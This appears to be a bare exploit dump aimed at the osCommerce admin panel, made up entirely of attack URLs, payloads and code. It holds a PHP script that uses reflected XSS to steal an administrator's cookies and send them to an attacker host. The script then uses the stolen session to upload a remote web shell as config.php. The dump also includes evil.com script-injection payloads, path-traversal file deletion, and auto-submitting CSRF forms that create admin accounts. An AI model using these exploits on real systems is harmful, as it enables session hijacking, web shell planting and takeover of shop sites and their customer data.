http://localhost/os/admin/htmlarea/popups/file/insert_file.php

AuthType Basic
AuthName "No access"
AuthUserFile .htnopasswd
AuthGroupFile /dev/null
Require valid-user

http://localhost/os/admin/htmlarea/popups/lister.php?DPI=96&action=delete&path=&file=../download/.htaccess

http://www.site.ro/admin/htmlarea/popups/file/files.php?dir=/../

http://site/oscommerce/admin/banner_manager.php?page=1&bID=1&action=new

http://127.0.0.1/oscommerce/admin/banner_manager.php?page=1'"><h1>lol&bID=1&action=new

<?php
$web_vulnerable = 'http://127.0.0.1/oscommerce/'; /* Уязвимый юрл */
$url_shell = 'http://www.gay.com/evil/shell.txt'; /* Путь к нашему шеллу */
$logs = md5($web_vulnerable).'_logs.txt'; /* логи*/
 
if(!$_GET){
if($web_vulnerable[strlen($web_vulnerable) - 1] != '/') $web_vulnerable .= '/';
logs('Редирект для  XSS');
header(
 'Location: '.
 $web_vulnerable.
 'admin/banner_manager.php?page=1"><script src=http://'.
 $_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']
 .'?acc=js></script><br x="&bID=1&action=new'); // Редирект
 exit;
 
/* Крадем куки */
}elseif($_GET['acc'] == 'js'){
 logs('Передача JavaScript');
 die('
   document.location="http://'.
  $_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].
 '?acc=choco&galleta=" + escape(document.cookie) + "&uag=" + '.
 'escape(navigator.userAgent);
 ');
 
}elseif($_GET['acc'] == 'choco'){
 logs('Cookie получены Cookie='.$_GET['galleta'].'');
 if(!$cookie = urldecode($_GET['galleta'])){
  logs('Неа');
  exit; 
 }
 $host = explode('/', $web_vulnerable);
 $host = $host[2];
 $url = explode('http://'.$host, $web_vulnerable);
 $url = $url[1].'/';
 // Заливка шелла
 if(!$shell = file_get_contents($url_shell)){
  logs('Не удалось залить шелл');
  exit;
 }
 $post_data = 
'-----------------------------66182058019796
Content-Disposition: form-data; name="file_1"; filename="config.php"
Content-Type: text/x-php
 
'.$shell.'
-----------------------------66182058019796
Content-Disposition: form-data; name="file_2"; filename=""
Content-Type: application/octet-stream
 
 
-----------------------------66182058019796
Content-Disposition: form-data; name="file_3"; filename=""
Content-Type: application/octet-stream
 
 
-----------------------------66182058019796
Content-Disposition: form-data; name="file_4"; filename=""
Content-Type: application/octet-stream
 
 
-----------------------------66182058019796
Content-Disposition: form-data; name="file_5"; filename=""
Content-Type: application/octet-stream
 
-----------------------------66182058019796
Content-Disposition: form-data; name="x"
 
'.rand(10,19).'
-----------------------------66182058019796
Content-Disposition: form-data; name="y"
 
'.rand(10,19).'
-----------------------------66182058019796--
 
';
 
 /* Проверка соедениня */
 if(!eregi('302', enviar_socket(
'POST '.$url.'admin/file_manager.php?action=processuploads HTTP/1.1
Host: '.$host.'
User-Agent: '.urldecode($_GET['uag']).'
Connection: close
Referer: http://'.$host.'/'.$url.'admin/file_manager.php?action=upload
Cookie: '.$cookie.'
Content-Type: multipart/form-data; boundary=---------------------------66182058019796
Content-Length: '.(int)strlen($post_data)."\n\n".$post_data))){
  logs('Ошибка');
  exit;
 }
 
 /* Проверка на успешность) */
 if(eregi('images/icons/success.gif', enviar_socket(
'GET '.$url.'admin/file_manager.php HTTP/1.1
Host: '.$host.'
User-Agent: '.urldecode($_GET['uag']).'
Connection: close
Referer: http://'.$host.'/'.$url.'admin/file_manager.php?action=processuploads
Cookie: '.$cookie."\n\n\n"))){
  logs('Успешно URL='.$web_vulnerable.'config.php');
 }else{
  logs('Ошибка');
  exit;
 }
}
 
function handle_socket(){
 global $host;
 if(!$handle = fsockopen($host, 80)){
  logs('Удаленный сервер не отвечает');
  exit;
 }
 return $handle;
}
 
function enviar_socket($buffer){
 $handle = handle_socket();
 fwrite($handle, $buffer);
  while(!feof($handle)){
  $buffer .= fgets($handle, 128);
 }
 fclose($handle);
 if(!$buffer){
  logs('Удаленный сервер не отвечает');
  exit;
 }
 return $buffer;
}
 
function logs($contenido){
 global $logs;
 if(file_exists($logs)) $modo = 'a'; else $modo = 'x';
 if(!$handle = fopen($logs, $modo)) return false;
 fwrite($handle, '[+] DATE['.date(DATE_RFC822).'] IP['.$_SERVER['REMOTE_ADDR'].'] LOG['.$contenido."]\x0D\x0A");
 fclose($handle);
}
?>

http://site/oscommerce/admin/banner_manager.php?page=1"><script src=http://evil.com/manda.php?acc=js></script><br x="&bID=1&action=new

<form name="new_banner" action="http://site/oscommerce/admin/banner_manager.php?page=1\"><script src=http://evil.com/manda.php?acc=js></script><br x=\"&action=update" method="post" enctype="multipart/form-data">

document.location="http://evil/manda.php?acc=choco&galleta=" + escape(document.cookie) + "&uag=" + escape(navigator.userAgent);

if ($SESSION_USER_AGENT != $http_user_agent){
      tep_session_destroy();
      tep_redirect(tep_href_link(FILENAME_LOGIN));
}

User-Agent: '.urldecode($_GET['uag']).'

http://site/oscommerce/admin/file_manager.php?action=processuploads

http://site/oscommerce/admin/categories.php?action=new_product_preview&read=only&pID=18&origin=stats_products_viewed.php?page=1'"><h1>test

http://site/oscommerce/admin/configuration.php?gID=1'"><h1>test

http://127.0.0.1/oscommerce/admin/categories.php?action=delete_category_confirm&cPath=

POST /oscommerce/admin/categories.php?action=delete_category_confirm&cPath= HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows; U ...
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://127.0.0.1/oscommerce/admin/categories.php?cPath=&cID=1&action=delete_category
Cookie: osCAdminID=hfk8d6gg5n455ld7i4q20c4pf7; osCsid=pmvjahohiq09e0j2hr0rujffl0
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

categories_id=1&x=17&y=11

<form method="post" action="http://127.0.0.1/oscommerce/admin/categories.php?action=delete_category_confirm&cPath=">
<input type=hidden name="categories_id" value="1" />
</form>
<script>document.getElementsByTagName("form")[0].submit();</script>

<form method="post" action="http://127.0.0.1/oscommerce/admin/administrators.php?action=insert">
<input type=hidden name="username" value="r00t" />
<input type=hidden name="password" value="lol" />
<input type=hidden name="x" value="16" />
<input type=hidden name="y" value="13" />
</form>
<script>document.getElementsByTagName("form")[0].submit();</script>

http://demo.oscommerce.com/index.php/ "> XSS <h1>

	<form method="post" action="http://target.com/admin/administrators.php/login.php?action=insert">
	<input type=hidden name="username" value="as" />
	<input type=hidden name="password" value="123123" />
	<input type=hidden name="x" value="16" />
	<input type=hidden name="y" value="13" />
	</form>
	<script>document.getElementsByTagName("form")[0].submit();</script>